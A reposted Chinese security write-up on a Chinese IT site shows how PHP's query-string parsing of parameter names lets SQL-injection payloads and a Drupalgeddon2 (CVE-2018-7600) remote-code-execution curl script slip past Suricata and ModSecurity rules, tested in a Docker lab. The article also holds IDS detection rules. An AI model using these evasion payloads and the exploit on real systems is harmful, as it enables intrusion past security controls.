新闻资讯  快讯  焦点  财经  政策  社会
互 联 网   电商  金融  数据  计算  技巧
生活百科  科技  职场  健康  法律  汽车
手机百科  知识  软件  修理  测评  微信
软件技术  应用  系统  图像  视频  经验
硬件技术  知识  技术  测评  选购  维修
网络技术  硬件  软件  设置  安全  技术
程序开发  语言  移动  数据  开源  百科
安全防护  资讯  黑客  木马  病毒  移动
站长技术  搜索  SEO  推广  媒体  移动
财经百科  股票  知识  理财  财务  金融
教育考试  育儿  小学  高考  考研  留学
您当前的位置:首页 > IT百科 > 程序开发 > 语言 > php

利用PHP的字符串解析特性Bypass

时间:2019-12-20 10:51:32  来源:  作者:

利用<a href=http://www.solves.com.cn/it/cxkf/yy/php/ target=_blank class=infotextkey>php</a>的字符串解析特性Bypass

 

 

前言

我们知道PHP将查询字符串(在URL或正文中)转换为内部$_GET或的关联数组$_POST。例如:/?foo=bar变成Array([foo] => “bar”)。

值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。

 

例如,/?%20news[id%00=42会转换为Array([news_id] => 42)。

如果一个IDS/IPS或WAF中有一条规则是当news_id参数的值是一个非数字的值则拦截,那么我们就可以用以下语句绕过:

/news.php?%20news[id%00=42"+AND+1=0--

上述PHP语句的参数%20news[id%00的值将存储到$_GET["news_id"]中。

HP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:

1.删除空白符

2.将某些字符转换为下划线(包括空格)

例如:

User inputDecoded PHPvariable name%20foo_bar%00foo_barfoo_barfoo%20bar%00foo barfoo_barfoo%5bbarfoo[barfoo_bar

通过以下这个示例,你可以更直观的看到parser_str函数如何处理字符串:

利用PHP的字符串解析特性Bypass

 

<?php  foreach(    [      "{chr}foo_bar",      "foo{chr}bar",      "foo_bar{chr}"    ] as $k => $arg) {      for($i=0;$i<=255;$i++) {        echo "\033[999D\033[K\r";        echo "[".$arg."] check ".bin2hex(chr($i))."";        parse_str(str_replace("{chr}",chr($i),$arg)."=bla",$o);        /* yes... I've added a sleep time on each loop just for        the scenic effect like that movie with unrealistic        brute-force where the password are obtained        one byte at a time (∩`-´)⊃━☆゚.*・。゚        */        usleep(5000);        if(isset($o["foo_bar"])) {          echo"\033[999D\033[K\r";          echo $arg." -> ".bin2hex(chr($i))." (".chr($i).")\n";        }      }      echo"\033[999D\033[K\r";      echo"\n";  }
利用PHP的字符串解析特性Bypass

 

parse_str函数通常被自动应用于get、post请求和cookie中。

如果你的Web服务器接受带有特殊字符的参数名,那么也会发生类似的情况。

如上代码所示,我进行了多次循环,枚举了参数名三个位置的0到255之间的所有字符,看看解析函数到底是如何处理这些特殊字符的。

 

结果如下:

1.[1st]foo_bar

2.foo[2nd]bar

3.foo_bar[3rd]

利用PHP的字符串解析特性Bypass

 


利用PHP的字符串解析特性Bypass

 

在上述方案中,foo%20bar和foo+bar等效,均解析为foo bar。

 

Surica

 

也许你也听过这款软件,Suricata是一个“开源、成熟、快速、强大的网络威胁检测引擎”,它的引擎能够进行实时入侵检测(IDS)、入侵防御系统(IPS)、网络安全监控(NSM)和离线流量包处理。

 

在Suricata中你可以自定义一个HTTP流量的检测规则。假设你有这样一个规则:

alert http any any -> $HOME_NET any (\    msg: "Block SQLi"; flow:established,to_server;\    content: "POST"; http_method;\    pcre: "/news_id=[^0-9]+/Pi";\    sid:1234567;\)

简单来说,上述规则会检查news_id的值是否是数字。那么根据上述知识,我们可以很容易的绕过防御,如下所示:

/?news[id=1%22+AND+1=1--'/?news%5bid=1%22+AND+1=1--'/?news_id%00=1%22+AND+1=1--'

通过在google和Github上进行搜索,我发现有很多关于Suricata规则可以通过替换下划线或插入空字符来绕过。

 

一个真实的例子:https://github.com/OISF/suricata-update/blob/7797d6ab0c00051ce4be5ee7ee4120e81f1138b4/tests/emerging-current_events.rules#L805

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"ET CURRENT_EVENTS Sakura exploit kit exploit download request /view.php"; flow:established,to_server; content:"/view.php?i="; http_uri; fast_pattern:only; pcre:"//view.php?i=\d&key=[0-9a-f]{32}$/U"; classtype:trojan-activity; sid:2015678; rev:2;)

上述规则可以通过以下方式绕过:

/view.php?i%00=1&%20key=d3b07384d113edec49eaa6238ad5ff00

当然,这条规则交换参数位置即可绕过,比如:

/view.php?key=d3b07384d113edec49eaa6238ad5ff00&i=1

 

WAF(ModSecurity)

 

此外,PHP查询字符串的解析特性也可用以绕过WAF。

想象一下,它的规则类似于SecRule !ARGS:news_id "@rx ^[0-9]+$" "block",这显然可以通过相同的手段绕过。

幸运的是,在ModSecurity中,可以通过正则表达式指定查询字符串中的参数。

 

比如:

SecRule !ARGS:/news.id/ "@rx ^[0-9]+$" "block"

以上规则将拦截诸如以下的请求:

⛔️/?news[id=1%22+AND+1=1--'⛔️/?news%5bid=1%22+AND+1=1--'⛔️/?news_id%00=1%22+AND+1=1--'

 

Poc //GTFO

 

让我们用Suricata和Drupal CMS创建一个以利用CVE-2018-7600(Drupalgeddon2远程执行代码)的简单PoC。

为了简单起见,我将在两个Docker容器上运行Suricata和Drupal,并尝试绕过Suricata攻击Drupal。

 

我将使用两条Suricata防御规则:

1.一条自定义规则拦截form_id=user_register_form

2.另一条是关于CVE-2018-7600的通用规则Suricata官方安装流程点击[这里](https://redmine.openinfosecfoundation.org/projects/suricata/wiki/Ubuntu_Installation_-_Personal_Package_Archives_(PPA)。

对于Drupal,我运行了一个Vulhub容器,你可以在这里下载:

 

利用PHP的字符串解析特性Bypass

 

 

首先,让我们尝试利用CVE-2018-7600。一个利用curl命令的小型bash脚本,比如:

#!/bin/bashURL="/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrApper_format=drupal_ajax"QSTRING="form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]="COMMAND="id"curl -v -d "${QSTRING}${COMMAND}" "http://172.17.0.1:8080$URL"

如你所见,上面的脚本将执行命令id:

利用PHP的字符串解析特性Bypass

 

现在,让我们尝试往Suricata导入以下两条规则:我编写了第一个规则,它只是尝试form_id=user_register_form在请求体内进行匹配;

Positive Technology /user/register在请求URL和#post_render请求正文中写了第二个匹配项。

我的规则:

alert http any any -> $HOME_NET any (\  msg: "Possible Drupalgeddon2 attack";\  flow: established, to_server;\  content: "/user/register"; http_uri;\  content: "POST"; http_method;\  pcre: "/form_id=user_register_form/Pi";\  sid: 10002807;\  rev: 1;\)

通用规则:

alert http any any -> $HOME_NET any (\  msg: "ATTACK [PTsecurity] Drupalgeddon2 <8.3.9 <8.4.6 <8.5.1 RCE through registration form (CVE-2018-7600)"; \  flow: established, to_server; \  content: "/user/register"; http_uri; \  content: "POST"; http_method; \  content: "drupal"; http_client_body; \  pcre: "/(%23|#)(access_callback|pre_render|post_render|lazy_builder)/Pi"; \  reference: cve, 2018-7600; \  reference: url, research.checkpoint.com/uncovering-drupalgeddon-2; \  classtype: attempted-admin; \  reference: url, github.com/ptresearch/AttackDetection; \  metadata: Open Ptsecurity.com ruleset; \  sid: 10002808; \  rev: 2; \)

在重启Suricata后,我的攻击被成功报警:

可以看到,我们得到了两条日志:

1.ATTACK [PTsecurity] Drupalgeddon2 <8.3.9 <8.4.6 <8.5.1 RCE through registration form (CVE-2018-7600) [Priority: 1] {PROTO:006} 172.17.0.6:51702 -> 172.17.0.1:8080

2.Possible Drupalgeddon2 attack [Priority: 3] {PROTO:006} 172.17.0.6:51702 -> 172.17.0.1:8080

 

Bypass!

 

这两条规则其实都很容易绕过。首先,对于敏感字段form_id=user_register_form,我们可将其替换为如下内容:

form%5bid=user_register_form

如上图所见,现在只有通用规则的警报。

分析通用规则的正则表达式,我们可以看到它对#和%23敏感,但不涉及下划线的编码。

因此,我们可以使用post%5frender代替post_render来绕过:

 

最后得出可绕过两个规则的PoC:

#!/bin/bashURL="/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"QSTRING="form%5bid=user_register_form&_drupal_ajax=1&mail[#post%5frender][]=exec&mail[#type]=markup&mail[#markup]="COMMAND="id"curl -v -d "${QSTRING}${COMMAND}" "http://172.17.0.1:8080$URL"

 

作者:周大涛



Tags:PHP   点击:()  评论:()
声明:本站部分内容来自互联网,内容观点仅代表作者本人,如有任何版权侵犯请与我们联系,我们将立即删除。
▌相关评论
发表评论 共有条评论
用户名: 密码:
验证码: 匿名发表
▌相关推荐
以下是帝国CMS官方说明!使用PHP7.*运行环境时,以下两种情况,设置支持PHP7.*操作步骤:1、全新安装帝国CMS时:只需安装时MYSQL接口类型选择mysqli即可支持PHP7系列。2、已经安装好...【详细内容】
2020-03-18   PHP  点击:(11)  评论:(0)  加入收藏
首先要确认的是你的服务器的系统,Windows、或者linux系统。 要想在Windows系统里运行php网站,可以选择iis或者Apache,如果你单独的去安装,可能会花很多时间去配置这个软件直接问...【详细内容】
2020-03-17   PHP  点击:(5)  评论:(0)  加入收藏
ThinkPHP5的环境要求如下:PHP >= 5.4.0PDO PHP ExtensionMBstring PHP ExtensionCURL PHP Extension严格来说,ThinkPHP无需安装过程,这里所说的安装其实就是把ThinkPHP框架放入...【详细内容】
2020-03-17   PHP  点击:(6)  评论:(0)  加入收藏
thinkphp6环境要求php >= 7.1.0,而且必须通过composer方式安装和更新,当然,上一篇教程我们已经安装好了,而且默认安装的php版本是php7.3.4,符合环境要求。那么什么是composer呢?co...【详细内容】
2020-03-15   PHP  点击:(2)  评论:(0)  加入收藏
首先介绍下在本文出现的几个比较重要的概念:函数计算(Function Compute): 函数计算是一个事件驱动的服务,通过函数计算,用户无需管理服务器等运行情况,只需编写代码并上传。函数计...【详细内容】
2020-03-09   PHP  点击:(2)  评论:(0)  加入收藏
说明php有许多开源项目比较好像,在自己的机器上用docker搭建了很多。每个docker都是跑了个apache,每个docker里面都有apache。这样好像有点浪费资源,而平时都是用nginx,所以研究...【详细内容】
2020-03-06   PHP  点击:(3)  评论:(0)  加入收藏
1 字符串1.1 少用正则表达式能用PHP内部字符串操作函数的情况下,尽量用他们,不要用正则表达式, 因为其效率高于正则。没得说,正则最耗性能。str_replace函数要比preg_replace...【详细内容】
2020-03-05   PHP  点击:(9)  评论:(0)  加入收藏
现在很多人都喜欢用nginx作为Web服务器部署网站,nginx配置起来也是相当的方便,如果你的网站是PHP语言开发的话,下面我们教大家简单的一招快速的隐藏网页的php后缀名,实现一种Pre...【详细内容】
2020-03-05   PHP  点击:(14)  评论:(0)  加入收藏
最近Django想写个博客,发现博客还真的不好写,为啥?没有好用的富文本编辑器,转战又去学PHP,发现PHP中的CKEditor5不错,但是有个弊端,上传不了图片,经过多次反复看文档,发现了一个比较...【详细内容】
2020-03-03   PHP  点击:(18)  评论:(0)  加入收藏
什么是WebSocketWebSocket用于在Web浏览器和服务器之间进行任意的双向数据传输的一种技术。WebSocket协议基于TCP协议实现,包含初始的握手过程,以及后续的多次数据帧双向传输...【详细内容】
2020-03-01   PHP  点击:(10)  评论:(0)  加入收藏
1. 在合适的时候使用PHP &ndash; Rasmus Lerdorf没有谁比PHP的创建者Rasmus Lerdorf明白PHP用在什么地方是更合理的,他于1995年发布了PHP这门语言,从那时起,PHP就像燎原之火,烧...【详细内容】
2020-03-01   PHP  点击:(11)  评论:(0)  加入收藏
主要参考:https://www.runoob.com/php/php-intro.html 菜鸟教程https://www.w3school.com.cn/ W3school 1、php定义PHP(全称:PHP:Hypertext Preprocessor,即"PHP:超文本预处理器...【详细内容】
2020-02-29   PHP  点击:(8)  评论:(0)  加入收藏
PHP-8将于今年年底发布,其最令人期待的功能之一就是JIT编译。让我们通过本文来看看这项功能对PHP脚本的速度有怎样的影响?作者 | Pedro Escudero译者 | 弯月,责编 | 郭芮以下为...【详细内容】
2020-02-23   PHP  点击:(12)  评论:(0)  加入收藏
先下载一份最新版的phpMyAdmin MYSQL管理器解压后得到一个phpMyAdmin的目录(可以改名)把文件夹放到网站根目录找到目录里的config.inc.php文件,打开找到 $cfg[&#39;PmaAbsolute...【详细内容】
2020-02-22   PHP  点击:(9)  评论:(0)  加入收藏
注意:目录的权限 chomd 777 -R1、安装redis下载:https://github.com/nicolasff/phpredis/archive/2.2.4.tar.gz上传phpredis-2.2.4.tar.gz到/usr/local/src目录cd /usr/local/...【详细内容】
2020-02-21   PHP  点击:(13)  评论:(0)  加入收藏
PHP Server Monitor是使用PHP开发的网络监控工具,用于检查您的网站和服务器是否已启动并正常运行,支持Ping、Tcping、网站等监控,提供了友好的Web的用户界面,方便管理与查看,当服...【详细内容】
2020-02-18   PHP  点击:(19)  评论:(0)  加入收藏
1. Opcache记得启用Zend Opcache, 因为PHP7即使不启用Opcache速度也比PHP-5.6启用了Opcache快, 所以之前测试时期就发生了有人一直没有启用Opcache的事情. 启用Opcache非常...【详细内容】
2020-02-06   PHP  点击:(1)  评论:(0)  加入收藏
项目中有时我们需要使用PHP将特定的信息进行加密,也就是通过加密算法生成一个加密字符串,这些加密后的字符串可以通过解密算法进行解密,便于程序对解密后的信息进行处理。最常...【详细内容】
2020-01-13   PHP  点击:(30)  评论:(0)  加入收藏
Apache与Nginx的优缺点比较1、nginx相对于apache的优点:轻量级,同样起web 服务,比apache 占用更少的内存及资源抗并发,nginx 处理请求是异步非阻塞的,而apache 则是阻塞型的,在高...【详细内容】
2020-01-07   PHP  点击:(22)  评论:(0)  加入收藏
SSL是一种安全协议,其具体的含义我就不在此赘述了,总之对于用户来讲,开启SSL后,很多浏览器会显示此网站“安全”,而不具备SSL安全协议的网站则会显示“不安全”。 采用SSL加密协...【详细内容】
2020-01-06   PHP  点击:(18)  评论:(0)  加入收藏
最新更新
栏目热门
栏目头条